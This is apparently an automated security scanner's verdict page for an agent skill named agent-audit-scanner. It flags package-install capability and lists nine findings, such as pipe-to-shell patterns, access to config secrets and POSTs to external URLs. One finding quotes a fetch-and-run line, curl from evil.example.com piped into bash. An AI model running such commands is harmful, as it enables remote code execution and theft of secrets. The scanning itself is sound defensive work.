Caveat verdict
agent-audit-scanner
The skill has package install capability, which could potentially be misused.
⚠ Flagged for review — coarse, uncorroborated signal, not a confirmed exploit. Review the config yourself before installing.
Automated static analysis — not a human review. Caveat flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.
Permission integrity
package_install
Findings (9)
Pipe to sh — executes piped content as shell commands
references/common-threats.md · code · | sh
Accesses OpenClaw config/secrets directly
SKILL.md · frontmatter · ~/.openclaw/openclaw.json
Pipe-to-shell pattern (curl | sh) — supply chain attack vector
references/common-threats.md · prose · downgraded · curl piping: `curl -sL https://evil.example.com/setup.sh | bash
Pipe to bash — executes piped content as shell commands
references/common-threats.md · prose · downgraded · | bash
Instructs covert action — may act without user awareness
references/common-threats.md · prose · downgraded · silently
POSTs data to external URL
references/common-threats.md · code · .post("https://
Python os.getenv — reads environment variable
references/common-threats.md · code · os.getenv(
subprocess execution — runs system commands from Python
scripts/scan-all-skills.py · prose · downgraded · subprocess.run(
References agent memory files
references/common-threats.md · prose · downgraded · MEMORY.md
Why the tier is capped
Execution sink present in raw bytes (Hard Floor: class A/B/D/F). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.
Permissions & capabilities
Requires 1 system binary.
package_install Is this flag fair?
Thanks — recorded.